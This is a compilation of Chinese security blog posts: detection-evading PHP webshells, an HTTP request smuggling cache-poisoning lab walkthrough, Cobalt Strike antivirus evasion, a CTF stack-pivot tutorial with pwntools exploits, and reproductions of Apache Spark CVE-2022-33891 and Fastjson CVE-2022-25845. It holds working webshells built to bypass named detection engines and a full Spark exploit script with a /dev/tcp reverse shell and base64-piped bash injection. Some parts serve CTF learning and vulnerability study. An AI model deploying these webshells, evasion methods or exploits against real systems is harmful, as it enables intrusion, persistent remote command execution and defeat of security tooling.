利用PHP的特性做免杀Webshell
0x01 前言
最近很多家厂商都陆续开放了自己的Webshell检测引擎,并且公开接口,邀请众安全研究员参加尝试bypass检测引擎,并且给予奖励,我也参加了几场类似的活动,有ASRC的伏魔计划,也有TSRC的猎刃计划,还有最近正在进行的长亭的牧云(Aka.关山)Webshell检测引擎,如果你都参加或者关注了这三个比赛,你会发现他们都提到了以下几个技术:
1、词法分析
2、污点追踪
3、恶意代码检测
这些新技术我们后面的章节中,我们先讲一下传统的Webshell检测机制,再对照着最新的Webshell检测技术来说明一下如何在新技术下做免杀Webshell(本文所有Webshell基于PHP语言)
0x02 传统Webshell检测
传统的Webshell检测技术主要依赖于字符串的正则特征,在面对于已知的样本可以做到高准确率检测,在长时间的样本收取下,也可以做到满足日常运维中的Webshell检测,举几个经典的Webshell样本
1、经典一句话Webshell
<?php eval($_GET['cmd']);?>
2、反序列化Webshell
<?php
Class H3{
function __destruct(){
eval($this->c);
}
}
$a= new H3;
$a->c = $_GET['cmd'];
3、无字母Webshell
<?php
$_ = 97;
$__ = 97 + 18; //s
$___ = $__ + 6; //y
$____ = $__ + 1; //t
$_____ = $_ + 4; //e
$______ = $__ - 6; //m
$res = chr($__).chr($___).chr($__).chr($____).chr($_____).chr($______);
$_= $_POST['cmd'];
$res($_);
但是对于当下的技术发展,黑客们可以更加精心的编写Webshell来"骗"过传统的Webshell检测机制,而且Webshell易变形,在面对0day样本的时候,传统Webshell检测就会效果欠佳,也就需要更加全面的手段来与其抗衡
0x03 新型Webshell检测
对于现如今的情况下,传统的Webshell检测对于0day样本的检测效率已经不是特别好了,所以这时候就需要一种"主动"的检测方式,能够让引擎主动去理解脚本、分析样本,发现样本中的恶意行为,而不是依靠人工来添加Webshell特征。
1、污点追踪
举个例子,对于一个Webshell来说,如果要进行任意命令执行,就一定要获取外界数据,对于PHP来说也就是$_GET、$_POST来接受数据,而要想任意命令执行,这些接收到的数据也就一定要最终传递到eval、system等函数中,而污点追踪技术就是利用这一点,如果样本中的外界变量通过不断传递,最终进入到危险函数中,那基本上就可以断定为Webshell,将外界变量视为污点源,危险函数视为污点汇聚点,跟踪污点传播过程,判断污点变量是否被洗白,最终是否进入污点汇聚点,画一个流程图如下:
2、词法分析
检测引擎会将各种脚本语言进行词法语法分析,然后构建控制流图和数据流图,并在图上跟踪外界污点变量的传递,使用外界变量是WebShell非常重要的特征,如果发现外界变量最终进入了命令执行函数,就可以判断为Webshell。
引擎可以将传统的条件、循环、函数、对象的静态分析,目前还可以支持动态变量名、箭头函数、反射、回调等动态特性的分析,大大的强化的未知样本的检测成功率。
3、加密还原
在此之前我们的Webshell常用的绕过检测的方法就是通过加密来绕过,例子如下:
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$____;
$___(base64_decode($_[_])); // ASSERT($_POST[_]);
该样本利用了混淆和加密两种技术,但是现如今的检测引擎都具备有对市面上的大部分PHP加密混淆进行“脱壳”和利用动态分析PHP执行器进行虚拟执行,将混淆加密的代码进行动态还原,解密后混淆和加密相当于明文传输,再利用污点追踪技术和动静态结合分析即可大大的提高检测率,并且能够有效减小误报率,同时也让这种在之前百试不爽的技巧无法使用。
0x04 如果Bypass掉新型检测引擎
我们要知道原理就可以想办法如何“蒙骗“住检测引擎,如果大家研究过,或者说亲身参与到了bypass挑战赛中,就能感受到无论是动静态还是什么技术,最后都是根据污点追踪法则来进行检测,污点追踪的流程在上一节提到了,目前我们有两个方法:
1、利用PHP中其他的命令执行的方法,让检测引擎识别不出这是污点汇集点
2、打断污点追踪的过程,让污点汇集点不落地
拿出一个样本我们来结合代码说明(以下样本分别bypass的引擎会标注出来,截止笔者写这篇的文章的时候只有牧云webshell检测引擎正在开启)
样本1
<?php
//ASRC伏魔引擎bypass
$result = array_diff(["s","a","b","ys","te","m"],["a","b"]);
$a = join($result);
array_map($a,(array)$_REQUEST['1']);
?>
讲一下原理,首先我们需要利用技巧(PHP本身的特性),来阻断污点追踪的过程,我在fuzz测试的时候发现了array_map()这个函数存在callback并且能够逃避检测
那么首先的能够bypass的污点汇集点已经有了,接下里来就是寻找其他函数来将变量"洗白",我选择了array_diff()
这样就可以利用该函数拼凑出一个system函数,再利用array_map()的callback来做命令执行
结果如下:
这样就完成了最简单的一次bypass
样本2
<?php
//bypass 牧云 文件名需要设置为system
$filename=substr(__FILE__,-10,6);
$command=$_POST[1];
$filename($command);
__FILE__是PHP的一个魔术常量,它会返回当前执行PHP脚本的完整路径和文件名,我们利用substr()函数逆着截取,就能获得system再利用变量做函数的方式,打断了污点追踪的过程,进行命令执行,也可以成功bypass掉牧云引擎。
结果如下:
牧云引擎检测结果如下:
样本3
<?php
//bypass 牧云 and TAV反病毒引擎+洋葱恶意代码检测引擎
class A{
public function __construct(){}
public function __wakeup(){
$b = $_GET[1];
$result = array_diff(["s","a","b","ys","te","m"],["a","b"]);
$a = join($result);
Closure::fromCallable($a)->__invoke($_REQUEST[2]);
}
}
@unserialize('O:1:"A":1:{s:10:" A comment";N;}');
这个套了一层反序列化,隐藏污点汇集点的方法与样本一相同,利用数组差级构造system后利用原生类Closure的fromCallable函数
进行命令执行(在牧云中array_diff(["s","a","b","ys","te","m"],["a","b"]);这种方式会被check,索性换成动态控制,这样也能打断污点追踪)
结果如下:
样本4
<?php
// dom and xml needed, install php-xml and leave php.ini as default.
// Author:LemonPrefect
$cmd = $_GET[3];
$_REQUEST[1] = "//book[php:functionString('system', '$cmd') = 'PHP']";
$_REQUEST[2] = ["php", "http://php.net/xpath"];
$xml = <<< XML
<?xml version="1.0" encoding="UTF-8"?>
<books>
<book>
<title>We are the champions</title>
<author>LemonPrefect</author>
<author>H3h3QAQ</author>
</book>
</books>
XML;
$doc = new DOMDocument;
$doc->loadXML($xml);
$clazz = (new ReflectionClass("DOMXPath"));
$instance = $clazz->newInstance($doc);
$clazz->getMethod("registerNamespace")->getClosure($instance)->__invoke(...$_REQUEST[2]);
$clazz->getMethod("registerPHPFunctions")->invoke($instance);
$clazz->getMethod("query")->getClosure($instance)->__invoke($_REQUEST[1]);
该样本需要一些条件,前提是开启了php-xml拓展才可以,其原理就是用XML去注册一个registerPHPFunctions,也就是我们想要执行的system再利用getClosure去触发该方法而构成的webshell,其中即利用到了PHP的特性,利用registerNamespace和registerPHPFunctions来中断污点追踪,从而RCE
结果如下:
0x05 总结
在构造Webshell的时候,我们如果知道Webshell检测引擎原理,就知道如何去bypass了,对于怎样过掉Webshell引擎这件事,需要开动脑筋多去找一下PHP的文档,去找一下原生类和其他能够中断污点追踪的方法,让引擎跟踪不到你的行为,而且尽量不要让敏感字符串出现在代码本体,因为有的引擎还是有字符串的正则特征检测,同时也要学会分析,分析自己的Webshell到底哪里出的问题,从而找到更好的方法去替换。
Http-Sumggling缓存漏洞分析
当http请求走私和web缓存碰到一起会产生什么样的火花呢,让我们看看。
在接触Http Sumggling 缓存漏洞前,我们需要先对Http Sumggling和Web缓存有所了解。
什么是Web缓存
WEB缓存就是指网站的静态文件,比如图片、CSS、JS等,在网站访问的时候,服务器会将这些文件缓存起来,以便下次访问时直接从缓存中读取,不需要再次请求服务器。
缓存位于服务器和客户端之间,通常出于优化用户浏览体验或其他原因以减少对服务器的访问而设定的在固定时间内保存且针对特定请求的响应,常见的缓存点有:
后端程序缓存
服务器缓存
浏览器缓存
缓存服务器
CDN缓存
最常见的无疑就是CDN及其类似的缓存服务器。
而为了让缓存判断是否需要提供缓存内容,在http请求中会存在缓存键 X-Cache,缓存键叫什么决定于架构师,但都是一个概念。
什么是web缓存漏洞
如上图所示,假设小紫小黄小绿都在服务器划分的同一批特定请求中,那么小紫一开始访问服务器时,经过缓存键X-Cache: Miss的判定,是首次访问,所以直接连接到Server服务器,而其后的小黄、小绿再次访问相同的文件时就会被判定为X-Cache: Hit,即只需连接Cache缓存服务器,不再连接到Server服务器,借此减少了Server服务器的运行负荷。
这无疑是一个很不错的设计,但一旦被有心之士利用,那就会发生一些不好的事情了。
如图,当攻击者改了一些包发送到后端,导致后端返回一些恶意数据,比如xss、注入等问题,而由于缓存的机制,后续的正常用户访问时就会读取缓存服务器的恶意缓存,这就是常见的web缓存漏洞,也叫缓存投毒。
Http Sumggling
HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列的方式的技术,其漏洞的主要形成原因是不同的服务器对于RFC标准的具体实现不一而导致的。
一般可分为以下几种:
CL: Content-Length
TE: Transfer-Encoding
CL不为0的GET请求
CL-CL
CL-TE
TE-CL
TE-TE
在mengchen@知道创宇404实验室的文章中有了十分详细的论述,我这就不再赘述。
https://paper.seebug.org/1048/#35-te-teHttp Sumggling 缓存漏洞
靶场
依旧以Lab: Exploiting HTTP request smuggling to perform web cache poisoning为靶场。
解法
判断是否存在走私,确定为CL-TE。
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: anything
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
第一次请求为:
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Transfer-Encoding: chunked
第二次请求为下半段:
GET /post/next?postId=3 HTTP/1.1
Host: anything
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
可以看到存在302跳转。
然后我们需要找到哪里进行缓存攻击,这里我以/resources/js/tracking.js进行攻击。
可以看到X-Cache为miss,这样我们就可以利用修改,进行缓存攻击。
先点击send post包
POST / HTTP/1.1
Host: 0a9b0056035fcd3ec0c40506003b00aa.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 195
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: https://exploit-0a6d001c033acd49c0fa05c101130045.web-security-academy.net/
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
访问到第一部分:
然后在/resources/js/tracking.js send包:
可以发现成功攻击,缓存键为miss,那下一个包应该就可以成功转接到exploit上,我们试试。
对原界面进行抓包,多抓几次。
发现host成功变为我们的exploit。
后言
漏洞越来越多,也会越来越复杂,不再是单一的某种漏洞这么简单,多种漏洞复合是未来标志。
红蓝对抗经验分享:CS免杀姿势
前言
红队在HVV中一般使用钓鱼实现突破边界,蓝队通过钓鱼实现溯源反制,但是都离不开一个好的免杀马,这里分享一下自己的免杀过程,过火绒、360杀毒、windows defender以及赛门铁克等主流杀软都没问题。
杀软工作原理
杀软的查杀方式有多种,比如特征识别,是基于各个厂商收集的病毒样本,依据病毒样本提取的病毒特征,所以杀软的能力在一定程度上也取决于病毒库的大小,这种基于特征识别一般是基于静态。启发式的工作原理基本上可以定义为动态查杀或者是机器学习方法的一种查杀手段,会依据可能执行程序或者关注应用系统重要区域行为而做出的查杀行为。
免杀手段
修改特征码,可以根据污点检测的方式定位到触发杀软规则的病毒样本特征,修改明显的特征在一定程度上是可以实现免杀的。
花指令免杀,在程序 shellcode 或特征代码区域增添垃圾指令,增加的垃圾指令不会影响文件执行,在动态查杀或者文件hash对比是校验会不一致。
加壳,比如upx加壳等,一般文件落地后对比哈希值也可绕过杀软。
二次编译,一般用于对shellcode进行二次编译bypass杀软。
poweshell免杀,但是一般防护软件或者系统本身正常调用powershell应用程序的时候都会产生告警,一般的安全设备是过不了的,需要在命令上使用手段绕过安全设备监测。
免杀
CS生成payload
添加监听器,生成payload
下载go-strip.exe,混淆二进制go编译信息
下载地址
https://cdn.githubjs.cf/boy-hack/go-strip/releases/download/v3.0/go-strip_0.3.4_windows_amd64.zip
运行脚本bypass
go run main.go
核心内容就是加密方式
shellcode二层加密。
这里没有直接放源码,因为担心样本被打标签,这里推荐几个项目,这里的话尽量使用go不建议python
https://github.com/TideSec/BypassAntiVirushttps://github.com/admin360bug/bypasshttps://github.com/hack2fun/BypassAV/blob/master/bypass.cna这里我修改了生成的exe。安装火绒,查杀
CS上线
加壳
另外再加壳测试。地址
https://upx.en.softonic.com/简单的压缩壳
upx.exe -f Go_bypass.exe
加壳后生辰的exe文件大小为406KB
可以看到加壳之前的文件大小为1011kb
修改加壳后的文件名为upx_Go_bypass方便确认上线状态
成功上线,继续查看加壳后的免杀效果
此时火绒对于有加壳前和加壳后的文件都未报毒
虽然加壳前的报毒了,但是加壳后的未报毒。
赛门铁克也未报毒,其它杀软不放图了。但是需要注意的是别使用云沙箱检测。
总结
多测试总会有新发现,实践起来相对稍微容易一点儿,不过需要注意免杀之后的效果是最重要的。
关于栈迁移的那些事儿
一、前言
现在的CTF比赛中很难在大型比赛中看到栈溢出类型的赛题,而即使遇到了也是多种利用方式组合出现,尤其以栈迁移配合其他利用方式来达到组合拳的效果,本篇文章意旨通过原理+例题的形式带领读者一步步理解栈迁移的原理以及在ctf中的应用。
二、前置知识
在笔者看来栈迁移的原理其实可以总结为一句话:因为栈溢出字节过少所以劫持rsp寄存器指向攻击者提前布置好payload的内存地址,已达到扩充溢出字节数的目的。 以一个简单的demo1为例,程序源码以及编译指令如下所示:
#include <stdio.h>
char buf1[0x100];
void main() {
char buf2[0x40];
puts("First: ");
read(0, buf1, 0x100);
puts("Second: ");
read(0, buf2, 0x60);
}
// gcc -fno-stack-protector -no-pie -z lazy -o demo1 demo1.c
程序的流程非常简单存在两个输出,第一次是往全局变量buf1第二次是往局部变量buf2中写入。可以看到在第二次写入时存在明显的栈溢出漏洞,但是溢出的字节数只够写入0x18大小的字节,如果要构造gadget泄露内存地址,最短的ROP链也需要0x20的字节才可以在泄露内存后返回输入点继续执行程序。
在这种情况就可以使用栈迁移的方式来扩大溢出字节数的大小,在前面说过栈迁移的本质就是劫持rsp寄存器指向攻击者提前布置好payload的内存地址,而劫持rsp寄存器的指令有很多,最常用的就是函数的退栈返回指令leave; ret。 可以分成两部分来理解这条指令。首先执行的是leave指令,这条指令共执行了两个操作mov rsp, rbp和pop rbp,其中rsp寄存器的指向变化如下图所示,可以看到在执行完leave指令后rsp寄存器指向了返回地址;随后会执行ret指令,这条指令可以理解成pop rip。因为此时rsp寄存器指向rbp+8即函数的返回地址,所以pop给rip寄存器的就是函数的返
在了解这条指令后不难发现,如果利用溢出漏洞可以覆盖rbp的值为一个已知地址,那么在执行过两次leave; ret指令后,就可以劫持rsp寄存器到任意地址,此时rsp寄存器指向的地址即为新的栈地址,只要事先在新地址处布置好想要执行的rop gadget,那么溢出字节过少这个问题就迎刃而解了。
根据上面介绍的栈迁移原理,可以总结出使用栈迁移的一些必要条件
存在可以劫持程序流和控制rbp寄存器的漏洞
攻击者可以确定准确某一块具有读写权限的地址
在进行栈迁移前需要在这块地址上进行rop gadget布局
三、例题讲解
3.1 例题demo1
在理解了栈迁移的原理后可以通过这个demo来练练手了,进行编译时未开启Canary和PIE保护,NX保护开启防止写入shellcode
这里先将大体的利用思路总结出来,其中的实现细节实现会在下文中进行说明。
未开启PIE保护,可以确定第一次写入的地址记作addr1,在此地址处布置rop gadget来实现泄露LIBC地址并返回主函数
利用第二次写入存在的栈溢出漏洞覆盖rbp为addr1,rip为指令leave; ret的地址实现栈迁移
返回主函数后利用ret2libc执行system("/bin/sh")获取shell
3.1.1 栈迁移布局
首先我们利用第一次输入进行rop chain布局,并利用第二次栈溢出漏洞覆盖rbp为伪栈地址劫持rip为leave; ret指令地址,内存变化如下图所示。 细心的同学会发现,我们在第一次进行rop chain布局前有一小段padding填充在前面,这是因为在我们进行栈迁移后,程序指令中所有对于栈的操作都会在伪栈内进行,而伪栈地址与got表地址相邻,填入这小段padding的目的就是为了避免程序在对伪栈进行读写数据时造成内存数据段内关键信息被覆盖,从而造成crash现象。
在汇编中当我们要对局部变量进行操作时,一般都是用rbp栈底寄存器来定位,如下图所示。这一点在栈迁移中可以让我们构造出一个类似于链表的利用结构,每次布置rop chain时不断将rbp寄存器赋值为伪栈地址,然后跳转到主函数的写入函数处,因为局部变量寻址是通过rbp寄存器,所以我们可以不断进行rop chain的布局。 在第一次进行rop chain的布局中控制rbp寄存器指向新的伪栈地址,那么在返回主函数后执行read函数时,写入地址就是新的伪栈地址,这时只要利用栈溢出漏洞去构造ret2libc即可getshell。
3.1.2 EXP
from pwn import *
p = process('./demo1')
libc = ELF('./demo1').libc
fake_stack = 0x601060
leave_ret = 0x40058E
puts_plt = 0x400430
puts_got = 0x601018
pop_rdi = 0x4005f3
read_text = 0x400572
payload1 = "a"*0x78+p64(fake_stack+0x408)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(read_text)
p.sendafter('First:', payload1)
payload2 = 'a'*0x40+p64(fake_stack+0x78)+p64(leave_ret)
p.sendafter('Second:', payload2)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = puts_addr - libc.sym['puts']
system = libc_base+libc.sym['system']
sh = libc_base+libc.search('/bin/sh').next()
success(hex(libc_base))
payload3 = "a"*0x48+p64(pop_rdi)+p64(sh)+p64(system)
p.send(payload3)
p.interactive()
3.2 例题demo2
在CTF比赛中通常只有一次写入机会,这边给出demo2的源码以及编译命令。
# include <stdio.h>
# include <string.h>
void main() {
char buf[0x28];
puts("Hello Hacker.");
read(0, buf, 0x40);
}
// gcc -fno-stack-protector -no-pie -z lazy -o demo2 demo2.c
与demo1一样demo2未开启Canary 与PIE保护,不同的是demo2中只有一次输入机会,并且溢出字节数只能覆盖返回地址。 结合之前讲解的栈迁移技巧,首先在劫持rsp前需要进行rop chain布局,程序并没有一次可以往伪栈布局的机会,但是可以利用劫持程序流的方式来构造这一条件。 观察程序的汇编代码如下图所示,在对局部变量buf进行寻址时使用了rbp寄存器,那么我们可以利用这一点配合栈溢出漏洞来实现伪栈上的rop布局。利用思路如下所示,其中的实现细节实现会在下文中进行说明。
利用栈溢出漏洞劫持rbp寄存器为伪栈地址,返回地址为0x40054b(图中主程序的输入函数),即可在返回主程序后对伪栈进行rop chain的布局
对伪栈进行rop chain的布局,泄露LIBC地址并返回主函数
返回主函数后利用栈溢出漏洞配合栈迁移+ret2libc完成getshell
3.2.1 伪栈rop布局
第一次leave; ret是主函数退栈时执行的,利用栈溢出漏洞覆盖rbp为伪栈地址,rsp为主函数地址。当我们再次来到主函数的输入函数时即可在伪栈上布置rop chain。此时的内存变化如下图所示
第二次leave; ret指令依然来自主函数退栈时执行,在伪栈上布置好rop chain后程序执行退栈操作,此时rbp寄存器内保存fack_stack-0x30的地址即rop chain地址+0x8的位置处,rsp寄存器被劫持到伪栈上,此时的内存变化如下图所示
这里为什么是fake_stack-0x30的地址呢?因为在对局部变量buf进行寻址时使用到rbp寄存器,而本题中的buf地址来自[rbp-0x30]的地址,所以如果想要将rsp劫持到rop chain的位置,就需要对rbp寄存器赋值为fakc_stack-0x30,那么在执行第三次leave的时候,rsp寄存器就劫持到rop chain的地址处,此时的内存变化如下图所示
泄露完LIBC地址后,劫持程序流返回主函数,利用read函数对伪栈进行最后一次rop布局,需要注意此时的写入地址是fake_stack-0x30,所以在栈迁移时rbp寄存器的值为fake_stack-0x30-0x30-0x8的地址处,再执行一次leave; ret时即可将rsp寄存器劫持到ret2libc rop地址处。内存变化如下图所示
3.2.2 EXP
from pwn import *
context.log_level = 'debug'
p = process('./demo1')
libc = ELF('./demo1').libc
read_text = 0x40054B
fake_rbp = 0x601500
pop_rdi = 0x4005d3 # pop rdi; ret;
puts_plt = 0x400430
puts_got = 0x601018
leave_ret = 0x400567
# gdb.attach(p, 'b *0x400567')
payload1 = 'a'*0x30+p64(fake_rbp)+p64(read_text)
p.sendafter("Hello Hacker.", payload1)
payload2 = p64(fake_rbp-0x30)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(read_text)+p64(0)+p64(fake_rbp-0x30)+p64(leave_ret)
p.send(payload2)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = puts_addr - libc.sym['puts']
system = libc_base+libc.sym['system']
sh = libc_base+libc.search('/bin/sh').next()
success(hex(libc_base))
payload3 = p64(pop_rdi)+p64(sh)+p64(system)+p64(0)*3+p64(fake_rbp-0x68)+p64(leave_ret)
p.send(payload3)
p.interactive()
CVE-2022-33891 Apache spark shell 命令注入漏洞复现
简介
Spark 是用于大规模数据处理的统一分析引擎。它提供了 Scala、Java、Python 和 R 中的高级 API,以及支持用于数据分析的通用计算图的优化引擎。它还支持一组丰富的高级工具,包括用于 SQL 和 DataFrames 的 Spark SQL、用于 Pandas 工作负载的 Spark 上的 Pandas API、用于机器学习的 MLlib、用于图形处理的 GraphX 和用于流处理的结构化流。
影响版本
Apache spark version<3.0.3
3.1.1<Apache spark version<3.1.2
Apache Spark version>= 3.3.0
环境搭建
目前官网上已经找不到老版本的docker镜像了
搜索老版本的也是为空
这里环境搭建的时使用的是github上私人仓库的镜像,下载地址
https://github.com/big-data-europe/docker-spark需要修改配置文件,下载存在漏洞的版本,修改dockerfile,V3.1.1
修改版本
docker-compose up -d
访问
http:10.10.10.32:8080
这里测试是不存在漏洞的,需要修改配置文件
echo "spark.acls.enable true" >> conf/spark-defaults.conf
POC如下:
#!/usr/bin/env python3
import requests
import argparse
import base64
import datetime
parser = argparse.ArgumentParser(description='CVE-2022-33891 Python POC Exploit Script')
parser.add_argument('-u', '--url', help='URL to exploit.', required=True)
parser.add_argument('-p', '--port', help='Exploit target\'s port.', required=True)
parser.add_argument('--revshell', default=False, action="store_true", help="Reverse Shell option.")
parser.add_argument('-lh', '--listeninghost', help='Your listening host IP address.')
parser.add_argument('-lp', '--listeningport', help='Your listening host port.')
parser.add_argument('--check', default=False, action="store_true", help="Checks if the target is exploitable with a sleep test")
args = parser.parse_args()
full_url = f"{args.url}:{args.port}"
def check_for_vuln(url):
print("[*] Attempting to connect to site...")
r = requests.get(f"{full_url}/?doAs='testing'", allow_redirects=False)
if r.status_code != 403:
print("[-] Does not look like an Apache Spark server.")
quit(1)
elif "org.apache.spark.ui" not in r.content.decode("utf-8"):
print("[-] Does not look like an Apache Spark server.")
quit(1)
else:
print("[*] Performing sleep test of 10 seconds...")
t1 = datetime.datetime.now()
run_cmd("sleep 10")
t2 = datetime.datetime.now()
delta = t2-t1
if delta.seconds < 10:
print("[-] Sleep was less than 10. This target is probably not vulnerable")
else:
print("[+] Sleep was 10 seconds! This target is probably vulnerable!")
exit(0)
def cmd_prompt():
# Provide user with cmd prompt on loop to run commands
cmd = input("> ")
return cmd
def base64_encode(cmd):
message_bytes = cmd.encode('ascii')
base64_bytes = base64.b64encode(message_bytes)
base64_cmd = base64_bytes.decode('ascii')
return base64_cmd
def run_cmd(cmd):
try:
# Execute given command from cmd prompt
#print("[*] Command is: " + cmd)
base64_cmd = base64_encode(cmd)
#print("[*] Base64 command is: " + base64_cmd)
exploit = f"/?doAs=`echo {base64_cmd} | base64 -d | bash`"
exploit_req = f"{full_url}{exploit}"
print("[*] Full exploit request is: " + exploit_req)
requests.get(exploit_req, allow_redirects=False)
except Exception as e:
print(str(e))
def revshell(lhost, lport):
print(f"[*] Reverse shell mode.\n[*] Set up your listener by entering the following:\n nc -nvlp {lport}")
input("[!] When your listener is set up, press enter!")
rev_shell_cmd = f"sh -i >& /dev/tcp/{lhost}/{lport} 0>&1"
run_cmd(rev_shell_cmd)
def main():
if args.check and args.revshell:
print("[!] Please choose either revshell or check!")
exit(1)
elif args.check:
check_for_vuln(full_url)
# Revshell
elif args.revshell:
if not (args.listeninghost and args.listeningport):
print("[x] You need a listeninghost and listening port!")
exit(1)
else:
lhost = args.listeninghost
lport = args.listeningport
revshell(lhost, lport)
else:
# "Interactive" mode
print("[*] \"Interactive\" mode!\n[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.")
while True:
command_to_run = cmd_prompt()
run_cmd(command_to_run)
if __name__ == "__main__":
main()
如果失败的话重建项目,使用下面这个文件起docker可能是镜像的问题,不同的仓库内的Apache spark配置不同,这个版本是V3.0.0的
version: '2'
services:
spark:
image: docker.io/bitnami/spark:3.0.0
environment:
- SPARK_MODE=master
- SPARK_RPC_AUTHENTICATION_ENABLED=no
- SPARK_RPC_ENCRYPTION_ENABLED=no
- SPARK_LOCAL_STORAGE_ENCRYPTION_ENABLED=no
- SPARK_SSL_ENABLED=no
ports:
- '8080:8080'
访问
http://192.168.0.112:8080/
修改配置文件
docker exec -it 8a /bin/bash
I have no name!@8a7873e77c46:/opt/bitnami/spark$ echo "spark.acls.enable true" >> conf/spark-defaults.conf
I have no name!@8a7873e77c46:/opt/bitnami/spark$ cat conf/spark-defaults.conf
已追加配置,重启docker
root@ubuntu:/home/ubuntu/Desktop/spark# docker-compose up -d
使用poc去生成payload,或者手动也可,但是执行的命令要使用echo写入执行且做base64编码后解码生效。
但是看不到回显,直接反弹shell
python 2.py -u http://192.168.0.112 -p 8080 --revshell -lh 192.168.0.121 -lp 4444
查看连接状态
漏洞成因
漏洞成因是由于Apache Spark UI 提供了通过配置选项 spark.acls.enable 启用 ACL 的可能性。使用身份验证过滤器,这将检查用户是否具有查看或修改应用程序的访问权限。如果启用了 ACL,则 HttpSecurityFilter 中的代码路径可以允许某人通过提供任意用户名来执行模拟。然后,恶意用户可能能够访问权限检查功能,该功能最终将根据他们的输入构建一个 Unix shell 命令并执行,导致任意 shell 命令执行。
参考:https://spark.apache.org/security.html
修复建议
1.建议升级到安全版本,参考官网链接:
https://spark.apache.org/downloads.html2.安全设备路径添加黑名单或者增加WAF规则(临时方案)。
Fastjson 代码执行 CVE-2022-25845
漏洞简介
Fastjson 代码执行漏洞,该漏洞允许攻击者绕过 Fastjson 中的"AutoTypeCheck"机制并实现远程代码执行
影响版本:1.2.80及以下版本,即<= 1.2.80
漏洞复现
我们利用 idea 创建 maven 项目 搭建漏洞环境,在 pom 文件中添加
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.82</version>
</dependency>
创建文件夹 com.example.fastjson
在下面添加两个 java 文件
package com.example.fastjson;
import java.io.IOException;
public class Poc extends Exception {
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
} catch (IOException e) {
e.printStackTrace();
}
}
}
package com.example.fastjson;
import com.alibaba.fastjson.JSON;
public class PocDemo {
public static void main(String[] args) {
String json = "{\"@type\":\"java.lang.Exception\",\"@type\":\"com.example.fastjson.Poc\",\"name\":\"calc\"}";
JSON.parse(json);
}
}
运行 PocDemo
漏洞分析
AutoType
我们知道在 fastjson 1.2.25 后设定了 https://github.com/alibaba/fastjson/wiki/enable_autotype 只有打开 autoType之后,fastjson 是基于内置黑名单来实现安全的,如此可能会造成安全风险,就是绕过https://github.com/LeadroyaL/fastjson-blacklist?_gl=1*1ucxjwe*_ga*MjEyMjY1NzU2My4xNjU3ODUyMDU3*_ga_SQ1NR9VTFJ*MTY1ODIxMjQxMy40LjEuMTY1ODIxMjQ2My4xMA..
不开启时,是基于白名单进行防护的,这个漏洞的产生就是未开启 autoType 时产生的。
但是未开启 autoType 时是基于白名单,是很难实现代码执行的,所以我们就需要想办法 Bypass AutoType 默认禁用策略,可以实现调用任意类
开启 autoType 后,最终调用的是 config.checkAutoType
com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)
其中声明了各种被黑名单列入的类,是通过十六进制来记录各种类,可以在 https://github.com/LeadroyaL/fastjson-blacklist?_gl=1*frgjs5*_ga*MjEyMjY1NzU2My4xNjU3ODUyMDU3*_ga_SQ1NR9VTFJ*MTY1ODIxMjQxMy40LjEuMTY1ODIxMjQ2My4xMA..,看到具体类的名称
Throwable
我们注意到在 com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze 中也同样调用了 checkAutoType
同时我们可以发现在 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type) 会检测目标类中是否属于Throwable 的扩展,之后就会调用 ThrowableDeserializer.deserialize()
所以初步得出结论,如果目标类属于 Throwable 的扩展类,就可以实现打开autoType的类似操作,去调用任何类
为了验证这个猜测,我们修改一下文件
package com.example.fastjson;
import java.io.IOException;
public class Poc extends Error {
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
} catch (IOException e) {
e.printStackTrace();
}
}
}
依然可以利用成功
继续关注函数 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type) 会调用 createException 去创建反序列化函数
com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#createException
